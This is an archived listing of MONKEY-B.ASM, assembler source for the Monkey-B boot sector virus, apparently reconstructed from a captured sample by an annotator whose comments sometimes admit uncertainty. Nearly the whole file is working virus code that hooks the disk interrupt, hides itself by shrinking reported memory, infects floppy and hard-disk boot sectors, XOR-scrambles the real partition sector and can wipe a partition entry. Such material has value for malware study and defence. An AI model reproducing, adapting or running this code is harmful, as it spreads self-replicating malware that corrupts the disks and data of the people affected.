home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MONKEY-B.ASM < prev    next >
Assembly Source File  |  1996-03-17  |  10KB  |  347 lines

  1. ; A86 Assembler source for Monkey-B virus.
  2.  
  3.         jmp     short virus_start       ;all jmps are short
  4.         nop     
  5.         mov     ss, ax
  6.         mov     sp, 7c00h
  7.         mov     si, sp
  8.         push    ax
  9.         pop     es
  10.         push    ax
  11.         pop     ds
  12.         sti
  13.         cld
  14.         mov     di, 0600h
  15.         mov     cx, 100h
  16.         repnz   movsw
  17.         db      0eah, 1dh, 6, 0, 0     
  18.                 ;jmp far 0000:061dh
  19.         
  20.         mov     si, 7beh
  21.  
  22.  
  23.  
  24. virus_start:
  25.        cli                      ;no system interrupts
  26.        sub      bx, bx          ;zero bx
  27.        mov      ds, bx          ;
  28.        mov      ss, bx
  29.        mov      sp, 7c00h       ;just below boot data area
  30.        
  31.        db       0eah, 2fh, 0, 0c0h, 7
  32.                 ;***thats a jmp far  07c0:002f, which is next instruction
  33.                 ;***this sets offsets to org 0
  34.        
  35.        
  36.        int      12h             ;get sys mem in ax
  37.        mov      si, 4ch
  38.        push     si
  39.        cmp      byte ptr cs:[00f2h], 2 ;test for BIOS mem location
  40.        jz       next_pt1
  41.        call     shrink_mem
  42.  
  43.        mov      di, 01fc
  44.        mov      cx, 2
  45.        cld
  46.        repz     movsw           ;load int13h address into virus INT 13h handler
  47.                                 ;which will start at es:0
  48.        jmp   short   next_pt2
  49.  
  50. next_pt1:
  51.         call    set_es
  52. next_pt2:
  53.         pop     si                      ;points to INT 13h vector entry
  54.         mov     word ptr [si], 007dh    ;offset
  55.         mov     word ptr [si + 2], ax   ;ax == es, where virus handler is going
  56.  
  57.         push    cs
  58.         pop     ds                      ;ds == 0 up to this point
  59.         call    mov_virus               ;ds now == 7c0h
  60.  
  61.         push    es
  62.         mov     ax, 0062h               ;for retf to virus
  63.         push    ax                      
  64.         sti                             ;enable interrupts
  65.         retf                            ;to es:62h -> see next routine
  66.  
  67. set_virus:         ;<- this is offset 62h! at virus location es:0062h
  68.  
  69.         mov     es, cx                  ;like xor es, es
  70.         mov     bx, sp                  ;still at 7c00h!
  71.         push    cx
  72.         push    bx                      ;for return to 0000:7c00
  73.  
  74.         mov     dx, 0080h               ;c: drive, cyl 0
  75.         call    set_si                  ;haven't figured this out yet
  76.  
  77.         call    do_virus_thing
  78.  
  79.         mov     cl, 3
  80.         mov     dx, 80h
  81.         call    read_drive
  82.         call    scramble_boot
  83.         retf
  84.  
  85. int_13h_handler:
  86.         push    ds
  87.         push    si
  88.         push    di
  89.         push    ax
  90.         push    cx
  91.         push    dx
  92.         call    set_si
  93.         cmp     ah, 2                   ;read operation?
  94.         jnz     not_two
  95.         push    dx
  96.         sub     ax, ax
  97.         int     1ah
  98.         cmp     dl, 40h
  99.         pop     dx
  100.         jnb     not_two
  101.         call    do_virus_thing          ;write a virus to the drive or disk
  102.  
  103. not_two:
  104.         pop     dx
  105.         pop     cx
  106.         pop     ax
  107.         pop     di
  108.         push    dx
  109.         push    cx
  110.         push    ax
  111.         cmp     cx, 3
  112.         jnb     not_three
  113.         cmp     dh, [si]                ;check for read/write to virus sector
  114.         jnz     not_three
  115.         cmp     ah, 2
  116.         jz      call_int13h
  117.         cmp     ah, 3
  118.         jnz     not_three
  119.         cmp     dl, 80h
  120.         jb      not_three
  121.         sub     ah, ah
  122.         jmp  short   not_three
  123.  
  124.  
  125. call_int13h:    
  126.         call    int_13h_call
  127.         jb      end_handler    
  128.         call    check_data1
  129.         jz      point_two      
  130.         call    check_data2
  131.         jz      point_two
  132.         clc
  133.         jmp  short   end_handler
  134.  
  135. point_two:
  136.         call    set_real_partition
  137.         mov     dh, [si + 1]
  138.         pop     ax
  139.         call    int_13h_call
  140.         call    scramble_boot
  141.         pop     cx
  142.         pop     dx
  143.         jmp  short   end_here
  144. not_three:
  145.         call    int_13h_call
  146. end_handler:
  147.         pop     ds
  148.         pop     ds
  149.         pop     ds
  150. end_here:
  151.         pop     si
  152.         pop     ds
  153.         retf    2
  154.  
  155. data_area       db      0, 1, 1, 0, 0, 0, 0, 80h, 1, 0, 5, 9, 0bh, 3, 5, 0eh, 0eh
  156.  
  157. read_drive:
  158.         mov     ax, 0201h               ;read 1 sector
  159. int_13h_call:
  160.         pushf                           ;simulate INT
  161.         db      2eh, 0ffh, 01eh, 0fch, 1 ;cs:call far [01fch]
  162.         ret                                                
  163.  
  164. shrink_mem:
  165.         dec     ax              ;contains mem from int 12h
  166.         mov     di, 414h
  167.         dec     di              ;this has got to be a "fool the scanner" trick
  168.         mov     [di], ax        ;shrink sys me by 1 K
  169. set_es:
  170.         mov     cl, 6
  171.         shl     ax, cl          ;get top of base mem in segs
  172.         add     al, 20h         ;add a little more to be safe
  173.         mov     es, ax          ;and set es. This will be about 9fe0h or so
  174.                                 ;if full 640K mem
  175.         ret
  176.  
  177. write_drive:                                                    
  178.         mov     dh, [si]        ;on first infection si == 0 - head 0
  179.         mov     ax, 0301h       ;write one sector
  180.         call    int_13h_call    ;and do it
  181.  
  182.         ret
  183.  
  184. do_virus_thing:
  185.         sub     cx, cx
  186.         inc     cx
  187.         push    cx                      ;god, mov cx, 1
  188.         mov     dh, [si]                ;location of sector
  189.         call    read_drive              ;read in one sector, this will be partition
  190.                                         ;on first infection
  191.         jb      end_do_virus_thing      ;error? lets abort
  192.  
  193.         call    check_data1             ;do we have 9219h sectors in last partition? 
  194.         jz      end_do_virus_thing      ;if so, get out of town                
  195.         
  196.         call    check_data2
  197.         jnz     next_virus_pt
  198.  
  199.         cmp     word ptr es:[bx + 1fah], 0 ; 0 sectors in last partition?
  200.         jz      end_do_virus_thing         ; quit     
  201.         
  202.         mov     word ptr es:[bx + 1fah], 0 ;this will kill last partition
  203.         mov     cl, 1                      ;sector 1?
  204.  
  205.         call    write_drive
  206.         jb      end_do_virus_thing            ;error abort  
  207.         inc     cx                          ;sector 2?
  208.         mov     dh, [si + 2]
  209.         
  210.         call    read_drive                  ;get the boot sector
  211.         jb      end_do_virus_thing
  212.  
  213.         pop     ax                          ;should == 1    
  214.         push    cx                          
  215.  
  216. next_virus_pt:
  217.  
  218.         call    set_real_partition
  219.         call    scramble_boot
  220.  
  221.         inc     si
  222.         call    write_drive
  223.  
  224.         dec     si
  225.         jb      end_do_virus_thing
  226.  
  227.         call    scramble_boot
  228.  
  229.         push    cx
  230.         call    mov_virus
  231.         pop     cx
  232.         push    dx
  233.         mov     dl, [si + 3]
  234.         
  235.         ;mov     word ptr es:[bx + 74h], dx
  236.         db      26h, 89h, 97h, 74h, 00
  237.         ;****equivalent, I did this due to A86 translation being a little
  238.         ;****different than the virus I captured
  239.         
  240.         pop     dx
  241.         
  242.         ;mov     byte ptr es:[bx + 72h], cl
  243.         db      26h, 88h, 8fh, 72h, 00
  244.         ;****equivalent, I did this due to A86 translation being a little
  245.         ;****different than the virus I captured
  246.  
  247.         mov     word ptr es:[bx + 01feh], 0AA55h
  248.         pop     cx
  249.         push    cx
  250.         mov     byte ptr es:[bx + 00f2h], cl
  251.         call    write_drive
  252.  
  253. end_do_virus_thing:
  254.         pop     ax
  255.         ret
  256.  
  257. mov_virus:
  258.  
  259. ;****************** whole virus including first jmp is stored
  260. ;****************** and accessed later for disk/drive infections
  261.         
  262.         push    si
  263.         mov     di, bx                  ;di == 0
  264.         mov     si, 20h                 ;this is where virus starts
  265.         add     di, si                  ;he's keeping space between 1st jmp
  266.                                         ;and the virus loading stub constant
  267.                                         ;to facilitate future infections
  268.         mov     cx, 1dch                ;we're moving this many
  269.         repz    movsb                   ;and mov 'em
  270.  
  271.         mov     di, bx                  ;like xor di, di 
  272.         sub     si, si                  ;like xor si, si
  273.  
  274.         mov     cl, 3                   ;movs the first jmp 
  275.         repz    movsb                   ;instruction!        
  276.         
  277.         pop     si
  278.         ret
  279. ;************checks for number of sectors in last partition!
  280. check_data1:
  281.         cmp     word ptr es:[bx + 01fah], 9219h
  282.         ret
  283.  
  284. ;************not sure what is going on here, offset 119h is in the partition code
  285. ;************this ain't a virus ID
  286. check_data2:
  287.         cmp     word ptr es:[bx + 119h], 6150h
  288.         ret
  289.  
  290. scramble_boot:
  291.         push    di
  292.         push    cx
  293.         push    ax
  294.         mov     di, bx
  295.         mov     cx, 200h
  296.         cld
  297. scram_loop:        
  298.         mov     al, byte ptr es:[di]
  299.         xor     al, 2eh
  300.         stosb
  301.         loop    scram_loop
  302.  
  303.         pop     ax
  304.         pop     cx
  305.         pop     di
  306.         ret
  307.  
  308. set_si:
  309.         push    cs
  310.         pop     ds
  311.         mov     si, 00eah               ;location of real partition
  312.         cmp     dl, 80h                 ;hard drive access?
  313.         jb      end_set_si              ;no? lets go
  314.         mov     si, 00eeh               ;hard drive infection routine
  315. end_set_si:
  316.         ret
  317.  
  318. ;***********I think this loads the real partition which was read from sector 2
  319. ;***********DS equ 7c0h
  320. set_real_partition:
  321.  
  322.         push    di
  323.         push    si
  324.         mov     al, byte ptr es:[bx + 14h]
  325.         mov     cx, 4
  326. loop_ptr:        
  327.         mov     si, cx
  328.         dec     si
  329.         cmp     [si + 00f3h], al
  330.         jz      set_cl
  331.         loop    loop_ptr
  332.         mov     cl, 3
  333.         jmp  short   bye
  334. set_cl:        
  335.         mov     cl, [si+00f7h]
  336. bye:
  337.         pop     si
  338.         pop     di
  339.         ret
  340.  
  341.  
  342. scraps  db      05dh, 7fh, 7eh, 7bh, 75h, 89h, 19h, 92h, 0, 0, 55h, 0aah
  343.  
  344.  
  345.  
  346.  
  347.